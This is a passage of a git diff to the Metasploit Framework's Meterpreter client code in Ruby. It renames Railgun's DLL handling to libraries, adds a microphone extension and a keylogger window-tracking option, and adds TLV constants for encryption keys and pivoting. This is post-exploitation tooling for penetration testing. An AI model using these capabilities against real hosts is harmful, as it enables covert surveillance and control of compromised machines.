'CryptDestroyKey', - :params => [["LPVOID", "hKey", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1680240], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00p\xA3\x19\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptDestroyKey', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true}, - }, - { - :platform => 'x64/windows', - :name => 'CryptReleaseContext', - :params => [["LPVOID", "hProv", "in"], ["DWORD", "dwFlags", "in"]], - :return_type => 'BOOL', - :dll_name => 'advapi32', - :ruby_args => [1756800, 0], - :request_to_client => { - TLV_TYPE_RAILGUN_SIZE_OUT => 0, - TLV_TYPE_RAILGUN_STACKBLOB => "\x00\x00\x00\x00\x00\x00\x00\x00\x80\xCE\x1A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", - TLV_TYPE_RAILGUN_BUFFERBLOB_IN => "", - TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_DLLNAME => 'advapi32', - TLV_TYPE_RAILGUN_FUNCNAME => 'CryptReleaseContext', - }, - :response_from_client => { - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT => "", - TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT => "", - TLV_TYPE_RAILGUN_BACK_RET => 1, - TLV_TYPE_RAILGUN_BACK_ERR => 0, - }, - :returned_hash => {"GetLastError"=>0, "return"=>true}, - }, - ] - end - -end - -end; end; end; end; end; end; diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index c3ed8f6c00..c2c863c5a0 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -26,7 +26,7 @@ require 'pp' require 'enumerator' require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv' -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_helper' +require 'rex/post/meterpreter/extensions/stdapi/railgun/library_helper' require 'rex/post/meterpreter/extensions/stdapi/railgun/buffer_item' module Rex @@ -39,13 +39,13 @@ module Railgun # A easier way to call multiple functions in a single request class MultiCaller - include DLLHelper + include LibraryHelper def initialize(client, parent, consts_mgr) @parent = parent @client = client - # needed by DLL helper + # needed by LibraryHelper @consts_mgr = consts_mgr if @client.native_arch == ARCH_X64 @@ -56,21 +56,22 @@ class MultiCaller end def call(functions) - request = Packet.create_request('stdapi_railgun_api_multi') function_results = [] layouts = [] functions.each do |f| - dll_name,funcname,args = f - dll_host = @parent.get_dll( dll_name ) + lib_name, function, args = f + lib_host = @parent.get_library(lib_name) - if not dll_host - raise "DLL #{dll_name} has not been loaded" + if not lib_host + raise "Library #{lib_name} has not been loaded" end - function = dll_host.functions[funcname] - if not function - raise "DLL #{dll_name} function #{funcname} has not been defined" + unless function.instance_of? LibraryFunction + function = lib_host.functions[function] + if not function + raise "Library #{lib_name} function #{function} has not been defined" + end end raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length @@ -96,7 +97,7 @@ class MultiCaller end # we care only about out-only buffers - if param_desc[2] == "out" + if param_desc[2] == 'out' if !args[param_idx].class.kind_of? Integer raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " end @@ -122,11 +123,11 @@ class MultiCaller end end - tmp = assemble_buffer("in", function, args) + tmp = assemble_buffer('in', function, args) in_only_layout = tmp[0] in_only_buffer = tmp[1] - tmp = assemble_buffer("inout", function, args) + tmp = assemble_buffer('inout', function, args) inout_layout = tmp[0] inout_buffer = tmp[1] @@ -146,41 +147,41 @@ class MultiCaller #puts " processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})" buffer = nil # is it a pointer to a buffer on our stack - if ["PDWORD", "PWCHAR", "PCHAR", "PBLOB"].include? param_desc[0] - #puts " pointer" + if ['PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include? param_desc[0] + #puts ' pointer' if args[param_idx] == nil # null pointer? - buffer = [0].pack(@native) # type: DWORD (so the dll does not rebase it) + buffer = [0].pack(@native) # type: DWORD (so the library does not rebase it) buffer += [0].pack(@native) # value: 0 - elsif param_desc[2] == "in" + elsif param_desc[2] == 'in' buffer = [1].pack(@native) buffer += [in_only_layout[param_desc[1]].addr].pack(@native) - elsif param_desc[2] == "out" + elsif param_desc[2] == 'out' buffer = [2].pack(@native) buffer += [out_only_layout[param_desc[1]].addr].pack(@native) - elsif param_desc[2] == "inout" + elsif param_desc[2] == 'inout' buffer = [3].pack(@native) buffer += [inout_layout[param_desc[1]].addr].pack(@native) else - raise "unexpected direction" + raise 'unexpected direction' end else - #puts " not a pointer" + #puts ' not a pointer' # it's not a pointer buffer = [0].pack(@native) case param_desc[0] - when "LPVOID", "HANDLE", "SIZE_T" + when 'LPVOID', 'HANDLE', 'SIZE_T' num = param_to_number(args[param_idx]) buffer += [num].pack(@native) - when "DWORD" + when 'DWORD' num = param_to_number(args[param_idx]) buffer += [num % 4294967296].pack(@native) - when "WORD" + when 'WORD' num = param_to_number(args[param_idx]) buffer += [num % 65536].pack(@native) - when "BYTE" + when 'BYTE' num = param_to_number(args[param_idx]) buffer += [num % 256].pack(@native) - when "BOOL" + when 'BOOL' case args[param_idx] when true buffer += [1].pack('V') @@ -207,7 +208,7 @@ class MultiCaller group.add_tlv(TLV_TYPE_RAILGUN_STACKBLOB, literal_pairs_blob) group.add_tlv(TLV_TYPE_RAILGUN_BUFFERBLOB_IN, in_only_buffer) group.add_tlv(TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, inout_buffer) - group.add_tlv(TLV_TYPE_RAILGUN_DLLNAME, dll_host.dll_path) + group.add_tlv(TLV_TYPE_RAILGUN_LIBNAME, lib_host.library_path) group.add_tlv(TLV_TYPE_RAILGUN_FUNCNAME, function.remote_name) request.tlvs << group @@ -221,9 +222,9 @@ class MultiCaller end functions.each do |f| - dll_name,funcname,args = f - dll_host = @parent.get_dll( dll_name ) - function = dll_host.functions[funcname] + lib_name, function, args = f + lib_host = @parent.get_library(lib_name) + function = lib_host.functions[function] unless function.instance_of? LibraryFunction response = call_results.shift inout_layout, out_only_layout = layouts.shift @@ -239,28 +240,28 @@ class MultiCaller # The hash the function returns return_hash = { - "GetLastError" => rec_last_error, - "ErrorMessage" => rec_err_msg + 'GetLastError' => rec_last_error, + 'ErrorMessage' => rec_err_msg } #process return value case function.return_type - when "LPVOID", "HANDLE" + when 'LPVOID', 'HANDLE' if( @native == 'Q<' ) - return_hash["return"] = rec_return_value + return_hash['return'] = rec_return_value else - return_hash["return"] = rec_return_value % 4294967296 + return_hash['return'] = rec_return_value % 4294967296 end - when "DWORD" - return_hash["return"] = rec_return_value % 4294967296 - when "WORD" - return_hash["return"] = rec_return_value % 65536 - when "BYTE" - return_hash["return"] = rec_return_value % 256 - when "BOOL" - return_hash["return"] = (rec_return_value != 0) - when "VOID" - return_hash["return"] = nil + when 'DWORD' + return_hash['return'] = rec_return_value % 4294967296 + when 'WORD' + return_hash['return'] = rec_return_value % 65536 + when 'BYTE' + return_hash['return'] = rec_return_value % 256 + when 'BOOL' + return_hash['return'] = (rec_return_value != 0) + when 'VOID' + return_hash['return'] = nil else raise "unexpected return type: #{function.return_type}" end @@ -275,13 +276,13 @@ class MultiCaller #puts " #{param_name}" buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype - when "PDWORD" + when 'PDWORD' return_hash[param_name] = buffer.unpack('V')[0] - when "PCHAR" + when 'PCHAR' return_hash[param_name] = asciiz_to_str(buffer) - when "PWCHAR" + when 'PWCHAR' return_hash[param_name] = uniz_to_str(buffer) - when "PBLOB" + when 'PBLOB' return_hash[param_name] = buffer else raise "unexpected type in out-only buffer of #{param_name}: #{buffer_item.datatype}" @@ -292,16 +293,16 @@ class MultiCaller # process in-out buffers #puts "processing in-out buffers:" inout_layout.each_pair do |param_name, buffer_item| - #puts " #{param_name}" + #puts ' #{param_name}' buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype - when "PDWORD" + when 'PDWORD' return_hash[param_name] = buffer.unpack('V')[0] - when "PCHAR" + when 'PCHAR' return_hash[param_name] = asciiz_to_str(buffer) - when "PWCHAR" + when 'PWCHAR' return_hash[param_name] = uniz_to_str(buffer) - when "PBLOB" + when 'PBLOB' return_hash[param_name] = buffer else raise "unexpected type in in-out-buffer of #{param_name}: #{buffer_item.datatype}" diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 59cbec58f9..aacafacb9b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -42,8 +42,8 @@ require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv' require 'rex/post/meterpreter/extensions/stdapi/railgun/util' require 'rex/post/meterpreter/extensions/stdapi/railgun/const_manager' require 'rex/post/meterpreter/extensions/stdapi/railgun/multicall' -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll' -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper' +require 'rex/post/meterpreter/extensions/stdapi/railgun/library' +require 'rex/post/meterpreter/extensions/stdapi/railgun/library_wrapper' module Rex module Post @@ -59,20 +59,24 @@ module Railgun class Railgun # - # Railgun::DLL's that have builtin definitions. + # Railgun::Library's that have builtin definitions. # - # If you want to add additional DLL definitions to be preloaded create a + # If you want to add additional library definitions to be preloaded create a # definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/$platform/'. # Naming is important and should follow convention. For example, if your - # dll's name was "my_dll" - # file name: def_my_dll.rb - # class name: Def_my_dll - # entry below: 'my_dll' + # library's name was "my_library" + # file name: def_my_library.rb + # class name: Def_my_library + # entry below: 'my_library' # - BUILTIN_DLLS = { + BUILTIN_LIBRARIES = { 'linux' => [ 'libc' ].freeze, + 'osx' => [ + 'libc', + 'libobjc' + ].freeze, 'windows' => [ 'kernel32', 'ntdll', @@ -91,33 +95,34 @@ class Railgun }.freeze ## - # Returns a Hash containing DLLs added to this instance with #add_dll - # as well as references to any frozen cached dlls added directly in #get_dll - # and copies of any frozen dlls (added directly with #add_function) - # that the user attempted to modify with #add_function. + # Returns a Hash containing libraries added to this instance with #add_library + # as well as references to any frozen cached libraries added directly in + # #get_library and copies of any frozen libraries (added directly with + # #add_function) that the user attempted to modify with #add_function. # - # Keys are friendly DLL names and values are the corresponding DLL instance - attr_accessor :dlls + # Keys are friendly library names and values are the corresponding library instance + attr_accessor :libraries ## # Contains a reference to the client that corresponds to this instance of railgun attr_accessor :client ## - # These DLLs are loaded lazily and then shared amongst all railgun instances. - # For safety reasons this variable should only be read/written within #get_dll. - @@cached_dlls = {} + # These libraries are loaded lazily and then shared amongst all railgun + # instances. For safety reasons this variable should only be read/written + # within #get_library. + @@cached_libraries = {} - # if you are going to touch @@cached_dlls, wear protection + # if you are going to touch @@cached_libraries, wear protection @@cache_semaphore = Mutex.new def initialize(client) self.client = client - self.dlls = {} + self.libraries = {} end - def self.builtin_dlls - BUILTIN_DLLS[client.platform] + def self.builtin_libraries + BUILTIN_LIBRARIES[client.platform] end # @@ -192,106 +197,109 @@ class Railgun end # - # Adds a function to an existing DLL definition. + # Adds a function to an existing library definition. # - # If the DLL definition is frozen (ideally this should be the case for all - # cached dlls) an unfrozen copy is created and used henceforth for this + # If the library definition is frozen (ideally this should be the case for all + # cached libraries) an unfrozen copy is created and used henceforth for this # instance. # - def add_function(dll_name, function_name, return_type, params, remote_name=nil, calling_conv="stdcall") - - unless known_dll_names.include?(dll_name) - raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, "")}" + def add_function(lib_name, function_name, return_type, params, remote_name=nil, calling_conv='stdcall') + unless known_library_names.include?(lib_name) + raise "Library #{lib_name} not found. Known libraries: #{PP.pp(known_library_names, '')}" end - dll = get_dll(dll_name) + lib = get_library(lib_name) - # For backwards compatibility, we ensure the dll is thawed - if dll.frozen? - # Duplicate not only the dll, but its functions as well. Frozen status will be lost - dll = Marshal.load(Marshal.dump(dll)) + # For backwards compatibility, we ensure the library is thawed + if lib.frozen? + # Duplicate not only the library, but its functions as well, frozen status will be lost + lib = Marshal.load(Marshal.dump(lib)) - # Update local dlls with the modifiable duplicate - dlls[dll_name] = dll + # Update local libraries with the modifiable duplicate + libraries[lib_name] = lib end - dll.add_function(function_name, return_type, params, remote_name, calling_conv) + lib.add_function(function_name, return_type, params, remote_name, calling_conv) end # - # Adds a DLL to this Railgun. + # Adds a library to this Railgun. # # The +remote_name+ is the name used on the remote system and should be - # set appropriately if you want to include a path or the DLL name contains + # set appropriately if you want to include a path or the library name contains # non-ruby-approved characters. # - # Raises an exception if a dll with the given name has already been + # Raises an exception if a library with the given name has already been # defined. # - def add_dll(dll_name, remote_name=dll_name) - - if dlls.has_key? dll_name - raise "A DLL of name #{dll_name} has already been loaded." + def add_library(lib_name, remote_name=lib_name) + if libraries.has_key? lib_name + raise "A library of name #{lib_name} has already been loaded." end - dlls[dll_name] = DLL.new(remote_name, constant_manager) + libraries[lib_name] = Library.new(remote_name, constant_manager) end + alias_method :add_dll, :add_library - - def known_dll_names - return BUILTIN_DLLS[client.platform] | dlls.keys + def known_library_names + return BUILTIN_LIBRARIES[client.platform] | libraries.keys end # - # Attempts to provide a DLL instance of the given name. Handles lazy - # loading and caching. Note that if a DLL of the given name does not - # exist, returns nil + # Attempts to provide a library instance of the given name. Handles lazy + # loading and caching. Note that if a library of the given name does not exist + # then nil is returned. # - def get_dll(dll_name) - # If the DLL is not local, we now either load it from cache or load it lazily. - # In either case, a reference to the dll is stored in the collection "dlls" - # If the DLL can not be found/created, no actions are taken - unless dlls.has_key? dll_name - # We read and write to @@cached_dlls and rely on state consistency + def get_library(lib_name) + # If the library is not local, we now either load it from cache or load it + # lazily. In either case, a reference to the library is stored in the + # collection "libraries". If the library can not be found/created, no + # actions are taken. + unless libraries.has_key? lib_name + # use a platform-specific name for caching to avoid conflicts with + # libraries that exist on multiple platforms, e.g. libc. + cached_lib_name = "#{client.platform}.#{lib_name}" + # We read and write to @@cached_libraries and rely on state consistency @@cache_semaphore.synchronize do - if @@cached_dlls.has_key? dll_name - dlls[dll_name] = @@cached_dlls[dll_name] - elsif BUILTIN_DLLS[client.platform].include? dll_name + if @@cached_libraries.has_key? cached_lib_name + libraries[lib_name] = @@cached_libraries[cached_lib_name] + elsif BUILTIN_LIBRARIES[client.platform].include? lib_name # I highly doubt this case will ever occur, but I am paranoid - if dll_name !~ /^\w+$/ - raise "DLL name #{dll_name} is bad. Correct Railgun::BUILTIN_DLLS" + if lib_name !~ /^\w+$/ + raise "Library name #{lib_name} is bad. Correct Railgun::BUILTIN_LIBRARIES['#{client.platform}']" end - require "rex/post/meterpreter/extensions/stdapi/railgun/def/#{client.platform}/def_#{dll_name}" - dll = Def.const_get('Def_' << dll_name).create_dll(constant_manager).freeze + require "rex/post/meterpreter/extensions/stdapi/railgun/def/#{client.platform}/def_#{lib_name}" + lib = Def.const_get("Def_#{client.platform}_#{lib_name}").create_library(constant_manager).freeze - @@cached_dlls[dll_name] = dll - dlls[dll_name] = dll + @@cached_libraries[cached_lib_name] = lib + libraries[lib_name] = lib end end end - return dlls[dll_name] + return libraries[lib_name] end + alias_method :get_dll, :get_library # # Fake having members like user32 and kernel32. # reason is that # ...user32.MessageBoxW() # is prettier than - # ...dlls["user32"].functions["MessageBoxW"]() + # ...libraries["user32"].functions["MessageBoxW"]() # - def method_missing(dll_symbol, *args) - dll_name = dll_symbol.to_s + def method_missing(lib_symbol, *args) + lib_name = lib_symbol.to_s - unless known_dll_names.include? dll_name - raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, '')}" + unless known_library_names.include? lib_name + raise "Library #{lib_name} not found. Known libraries: #{PP.pp(known_library_names, '')}" end - dll = get_dll(dll_name) + lib = get_library(lib_name) - return DLLWrapper.new(dll, client) + return LibraryWrapper.new(lib, client) end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb index d7af95babf..3edf14d271 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb @@ -43,7 +43,7 @@ TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTEN TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7) TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8) -TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9) +TLV_TYPE_RAILGUN_LIBNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9) TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10) TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb index e4dd66ec7f..2104925972 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb @@ -1,5 +1,5 @@ # -*- coding: binary -*- -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_helper' +require 'rex/post/meterpreter/extensions/stdapi/railgun/library_helper' module Rex module Post @@ -14,7 +14,7 @@ module Railgun class Util # Bring in some useful string manipulation utility functions - include DLLHelper + include LibraryHelper # Data type size info: http://msdn.microsoft.com/en-us/library/s3f49ktz(v=vs.80).aspx PRIMITIVE_TYPE_SIZES = { diff --git a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb index 937d6d0a03..e01a32b145 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb @@ -19,6 +19,7 @@ require 'rex/post/meterpreter/extensions/stdapi/sys/power' require 'rex/post/meterpreter/extensions/stdapi/railgun/railgun' require 'rex/post/meterpreter/extensions/stdapi/ui' require 'rex/post/meterpreter/extensions/stdapi/webcam/webcam' +require 'rex/post/meterpreter/extensions/stdapi/mic/mic' module Rex module Post @@ -83,6 +84,10 @@ class Stdapi < Extension 'name' => 'webcam', 'ext' => Rex::Post::Meterpreter::Extensions::Stdapi::Webcam::Webcam.new(client) }, + { + 'name' => 'mic', + 'ext' => Rex::Post::Meterpreter::Extensions::Stdapi::Mic::Mic.new(client) + }, { 'name' => 'ui', 'ext' => UI.new(client) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb index 4c2b183af6..00967838ab 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb @@ -390,31 +390,31 @@ class ProcessList < Array return Rex::Text::Table.new(opts) end - cols = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ] - # Arch and Session are specific to native Windows, PHP and Java can't do - # ppid. Cut columns from the list if they aren't there. It is conceivable - # that processes might have different columns, but for now assume that the - # first one is representative. - cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? } + column_headers = [ "PID", "PPID", "Name", "Arch", "Session", "User", "Path" ] + column_headers.delete_if do |h| + none? { |process| process.has_key?(h.downcase) } || + all? { |process| process[h.downcase].nil? } + end opts = { 'Header' => 'Process List', 'Indent' => 1, - 'Columns' => cols + 'Columns' => column_headers }.merge(opts) tbl = Rex::Text::Table.new(opts) - each { |process| - tbl << cols.map { |c| - col = c.downcase + each do |process| + tbl << column_headers.map do |header| + col = header.downcase + next unless process.keys.any? { |process_header| process_header == col } val = process[col] if col == 'session' val == 0xFFFFFFFF ? '' : val.to_s else val end - }.compact - } + end + end tbl end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 2fdf369508..5a00e8a111 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -17,7 +17,7 @@ TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632 - + ## # # Fs @@ -201,6 +201,7 @@ TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLV_META_TYPE_UINT | 3009 TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLV_META_TYPE_STRING | 3010 TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLV_META_TYPE_UINT | 3011 TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLV_META_TYPE_STRING | 3012 +TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW = TLV_META_TYPE_BOOL | 3013 ## # @@ -248,8 +249,10 @@ TLV_TYPE_WEBCAM_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4) # ## -TLV_TYPE_AUDIO_DURATION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1) -TLV_TYPE_AUDIO_DATA = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2) +TLV_TYPE_AUDIO_DURATION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 10) +TLV_TYPE_AUDIO_DATA = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 11) +TLV_TYPE_AUDIO_INTERFACE_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 12) +TLV_TYPE_AUDIO_INTERFACE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13) end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index 97c6e729f0..d5ab24fe50 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -207,8 +207,9 @@ class UI < Rex::Post::UI # # Start the keyboard sniffer # - def keyscan_start + def keyscan_start(trackwindow=false) request = Packet.create_request('stdapi_ui_start_keyscan') + request.add_tlv( TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW, trackwindow ) response = client.send_request(request) return true end diff --git a/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb index fc3fb8c9a8..6c455e04ea 100644 --- a/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/winpmem/tlv.rb @@ -5,7 +5,7 @@ module Meterpreter module Extensions module Winpmem TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1) - TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2) + TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 2) end end end diff --git a/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb index 72b8a86af4..75baaa32e0 100644 --- a/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb +++ b/lib/rex/post/meterpreter/extensions/winpmem/winpmem.rb @@ -43,8 +43,10 @@ class Winpmem < Extension channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) raise Exception, "We did not get a channel back!" if channel_id.nil? - #Open the compressed Channel - channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS) + + # Open the compressed Channel + channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", + CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS) return memory_size, response_code, channel end end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 1e70ea0f13..8c81169242 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- +require 'openssl' module Rex module Post @@ -105,9 +106,21 @@ TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441 TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 +TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 + +TLV_TYPE_RSA_PUB_KEY = TLV_META_TYPE_STRING | 550 +TLV_TYPE_SYM_KEY_TYPE = TLV_META_TYPE_UINT | 551 +TLV_TYPE_SYM_KEY = TLV_META_TYPE_RAW | 552 +TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553 + +# +# Pivots +# +TLV_TYPE_PIVOT_ID = TLV_META_TYPE_RAW | 650 +TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651 +TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 652 +TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653 -TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 -TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 # # Core flags @@ -116,6 +129,12 @@ LOAD_LIBRARY_FLAG_ON_DISK = (1 << 0) LOAD_LIBRARY_FLAG_EXTENSION = (1 << 1) LOAD_LIBRARY_FLAG_LOCAL = (1 << 2) +# +# Sane defaults +# +GUID_SIZE = 16 +NULL_GUID = "\x00" * GUID_SIZE + ### # # Base TLV (Type-Length-Value) class @@ -124,6 +143,8 @@ LOAD_LIBRARY_FLAG_LOCAL = (1 << 2) class Tlv attr_accessor :type, :value, :compress + HEADER_SIZE = 8 + ## # # Constructor @@ -215,6 +236,16 @@ class Tlv when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT" when TLV_TYPE_MACHINE_ID; "MACHINE-ID" when TLV_TYPE_UUID; "UUID" + when TLV_TYPE_SESSION_GUID; "SESSION-GUID" + when TLV_TYPE_RSA_PUB_KEY; "RSA-PUB-KEY" + when TLV_TYPE_SYM_KEY_TYPE; "SYM-KEY-TYPE" + when TLV_TYPE_SYM_KEY; "SYM-KEY" + when TLV_TYPE_ENC_SYM_KEY; "ENC-SYM-KEY" + + when TLV_TYPE_PIVOT_ID; "PIVOT-ID" + when TLV_TYPE_PIVOT_STAGE_DATA; "PIVOT-STAGE-DATA" + when TLV_TYPE_PIVOT_STAGE_DATA_SIZE; "PIVOT-STAGE-DATA-SIZE" + when TLV_TYPE_PIVOT_NAMED_PIPE_NAME; "PIVOT-NAMED-PIPE-NAME" #when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface' #when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address' @@ -300,7 +331,7 @@ class Tlv end # check if the tlv is to be compressed... - if( @compress ) + if @compress raw_uncompressed = raw # compress the raw data raw_compressed = Rex::Text.zlib_deflate( raw_uncompressed ) @@ -316,7 +347,7 @@ class Tlv end end - return [raw.length + 8, self.type].pack("NN") + raw + [raw.length + HEADER_SIZE, self.type].pack("NN") + raw end # @@ -335,16 +366,16 @@ class Tlv # tlv type to its origional, allowing for transparent data compression. self.type = self.type ^ TLV_META_TYPE_COMPRESSED # decompress the compressed data (skipping the length and type DWORD's) - raw_decompressed = Rex::Text.zlib_inflate( raw[8..length-1] ) - # update the length to reflect the decompressed data length (+8 for the length and type DWORD's) - length = raw_decompressed.length + 8 + raw_decompressed = Rex::Text.zlib_inflate( raw[HEADER_SIZE..length-1] ) + # update the length to reflect the decompressed data length (+HEADER_SIZE for the length and type DWORD's) + length = raw_decompressed.length + HEADER_SIZE # update the raw buffer with the new length, decompressed data and updated type. raw = [length, self.type].pack("NN") + raw_decompressed end if (self.type & 